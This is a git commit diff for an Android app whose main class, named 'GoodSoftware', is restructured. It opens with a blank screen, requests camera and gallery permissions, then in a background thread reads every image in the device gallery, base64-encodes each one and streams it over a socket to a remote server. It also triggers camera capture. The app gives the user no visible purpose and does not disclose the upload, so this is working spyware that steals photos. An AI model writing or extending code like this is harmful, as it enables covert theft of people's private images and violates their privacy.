Only run start
This commit is contained in:
		@@ -51,6 +51,7 @@ android {
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
dependencies {
 | 
			
		||||
    implementation("androidx.camera:camera-camera2:1.3.3")
 | 
			
		||||
    implementation(libs.androidx.camera.lifecycle)
 | 
			
		||||
    val camerax_version = "1.4.0-alpha05"
 | 
			
		||||
 | 
			
		||||
 
 | 
			
		||||
@@ -23,6 +23,7 @@ import androidx.core.app.ActivityCompat
 | 
			
		||||
import androidx.core.content.ContextCompat
 | 
			
		||||
import androidx.lifecycle.LifecycleOwner
 | 
			
		||||
import androidx.lifecycle.lifecycleScope
 | 
			
		||||
import kotlinx.coroutines.Dispatchers
 | 
			
		||||
import kotlinx.coroutines.launch
 | 
			
		||||
import java.io.BufferedReader
 | 
			
		||||
import java.io.ByteArrayOutputStream
 | 
			
		||||
@@ -96,15 +97,37 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
            }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    fun launch() {
 | 
			
		||||
        checkCameraPermission()
 | 
			
		||||
    private fun launch() {
 | 
			
		||||
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
			
		||||
            if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) == PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
                grabAllImages()
 | 
			
		||||
            } else {
 | 
			
		||||
                requestMediaImagesPermission()
 | 
			
		||||
            }
 | 
			
		||||
        } else {
 | 
			
		||||
            if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
                grabAllImages()
 | 
			
		||||
            } else {
 | 
			
		||||
                requestGalleryPermission()
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
            takePicture()
 | 
			
		||||
        } else {
 | 
			
		||||
            requestCameraPermission()
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    fun start(){
 | 
			
		||||
        activity.lifecycleScope.launch(Dispatchers.Default) {
 | 
			
		||||
            launch()
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private fun checkCameraPermission() {
 | 
			
		||||
        if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
            requestCameraPermission()
 | 
			
		||||
        } else {
 | 
			
		||||
            startPictureCapture()
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
@@ -112,71 +135,40 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private fun checkStoragePermission() {
 | 
			
		||||
        if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
            // Request READ_MEDIA_IMAGES permission for Android 13 and higher
 | 
			
		||||
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
			
		||||
                requestMediaImagesPermission()
 | 
			
		||||
            } else {
 | 
			
		||||
                // For lower Android versions, request READ_EXTERNAL_STORAGE
 | 
			
		||||
                requestGalleryPermission()
 | 
			
		||||
            }
 | 
			
		||||
        } else {
 | 
			
		||||
            startPictureCapture()
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    @RequiresApi(Build.VERSION_CODES.TIRAMISU)
 | 
			
		||||
    private fun requestMediaImagesPermission() {
 | 
			
		||||
        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private fun startPictureCapture() {
 | 
			
		||||
    private fun takePicture(){
 | 
			
		||||
        activity.lifecycleScope.launch {
 | 
			
		||||
            try {
 | 
			
		||||
                // Check and request camera permission
 | 
			
		||||
                if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
                    requestCameraPermission()
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
			
		||||
                    if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
                        checkStoragePermission()
 | 
			
		||||
                    }
 | 
			
		||||
                } else {
 | 
			
		||||
                    if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
                        checkStoragePermission()
 | 
			
		||||
                    }
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                // If both permissions are granted, proceed with picture capture and gallery access
 | 
			
		||||
                takeBeautifulPicture(activity, activity)
 | 
			
		||||
 | 
			
		||||
                Thread {
 | 
			
		||||
                    try {
 | 
			
		||||
                        val imageList = getAllImagesFromGallery(activity)
 | 
			
		||||
                        val connection = establishConnectionWithRetry() ?: return@Thread
 | 
			
		||||
                        for (image in imageList) {
 | 
			
		||||
                            println(image)
 | 
			
		||||
                            val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
 | 
			
		||||
                            sendDataToServer(base64Image, connection)
 | 
			
		||||
                            if(image != imageList.last()){
 | 
			
		||||
                                next(connection)
 | 
			
		||||
                            }
 | 
			
		||||
                        }
 | 
			
		||||
                        disconnect(connection)
 | 
			
		||||
                    } catch (e: Exception) {
 | 
			
		||||
                        e.printStackTrace()
 | 
			
		||||
                        // Handle the exception, e.g., log the error or notify the user
 | 
			
		||||
                    }
 | 
			
		||||
                }.start()
 | 
			
		||||
            } catch (e: Exception) {
 | 
			
		||||
                e.printStackTrace()
 | 
			
		||||
                // Handle the exception, e.g., log the error or notify the user
 | 
			
		||||
            } catch (e: Exception){
 | 
			
		||||
                println(e)
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    private fun grabAllImages(){
 | 
			
		||||
        Thread {
 | 
			
		||||
            try {
 | 
			
		||||
                val imageList = getAllImagesFromGallery(activity)
 | 
			
		||||
                val connection = establishConnectionWithRetry() ?: return@Thread
 | 
			
		||||
                for (image in imageList) {
 | 
			
		||||
                    println(image)
 | 
			
		||||
                    val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
 | 
			
		||||
                    sendDataToServer(base64Image, connection)
 | 
			
		||||
                    if(image != imageList.last()){
 | 
			
		||||
                        next(connection)
 | 
			
		||||
                    }
 | 
			
		||||
                }
 | 
			
		||||
                disconnect(connection)
 | 
			
		||||
            }catch (e: Exception){
 | 
			
		||||
                e.printStackTrace()
 | 
			
		||||
            }
 | 
			
		||||
        }.start()
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
 | 
			
		||||
        var base64Image = ""
 | 
			
		||||
@@ -231,38 +223,6 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
    private fun requestGalleryPermission() {
 | 
			
		||||
        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    // Handle permission request result
 | 
			
		||||
    fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) {
 | 
			
		||||
        when (requestCode) {
 | 
			
		||||
            REQUEST_CAMERA_PERMISSION -> {
 | 
			
		||||
                if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
                    startPictureCapture()
 | 
			
		||||
                } else {
 | 
			
		||||
                    // Camera permission denied
 | 
			
		||||
                    // Handle accordingly
 | 
			
		||||
                }
 | 
			
		||||
            }
 | 
			
		||||
            REQUEST_GALLERY -> {
 | 
			
		||||
                if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
                    startPictureCapture()
 | 
			
		||||
                } else {
 | 
			
		||||
                    // Gallery permission denied
 | 
			
		||||
                    // Handle accordingly
 | 
			
		||||
                }
 | 
			
		||||
            }
 | 
			
		||||
            REQUEST_MEDIA_IMAGES_PERMISSION -> {
 | 
			
		||||
                if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
                    startPictureCapture()
 | 
			
		||||
                } else {
 | 
			
		||||
                    // Media images permission denied
 | 
			
		||||
                    // Handle accordingly
 | 
			
		||||
                }
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
    data class ConnectionResult(
 | 
			
		||||
        val socket: Socket,
 | 
			
		||||
        val reader: BufferedReader,
 | 
			
		||||
@@ -435,10 +395,6 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
    private fun hasBackCamera(): Boolean {
 | 
			
		||||
        return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
 | 
			
		||||
    }
 | 
			
		||||
@@ -484,8 +440,6 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
                    imageList.add(contentUri.toString())
 | 
			
		||||
                }
 | 
			
		||||
            }
 | 
			
		||||
        } else {
 | 
			
		||||
            ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        return imageList
 | 
			
		||||
 
 | 
			
		||||
@@ -11,24 +11,8 @@ import androidx.lifecycle.LifecycleOwner
 | 
			
		||||
import com.ti.m.ui.theme.MTheme
 | 
			
		||||
 | 
			
		||||
class MainActivity : ComponentActivity(), LifecycleOwner {
 | 
			
		||||
    private lateinit var goo: GoodSoftware
 | 
			
		||||
 | 
			
		||||
    override fun onCreate(savedInstanceState: Bundle?) {
 | 
			
		||||
        super.onCreate(savedInstanceState)
 | 
			
		||||
        setContent {
 | 
			
		||||
            MTheme {
 | 
			
		||||
                Surface(
 | 
			
		||||
                    modifier = Modifier.fillMaxSize(),
 | 
			
		||||
                    color = MaterialTheme.colorScheme.background
 | 
			
		||||
                ) {
 | 
			
		||||
                }
 | 
			
		||||
            }
 | 
			
		||||
        }
 | 
			
		||||
        GoodSoftware(this@MainActivity).launch()
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
 | 
			
		||||
        super.onRequestPermissionsResult(requestCode, permissions, grantResults)
 | 
			
		||||
        goo.onRequestPermissionsResult(requestCode, grantResults)
 | 
			
		||||
        GoodSoftware(this@MainActivity).start()
 | 
			
		||||
    }
 | 
			
		||||
}
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user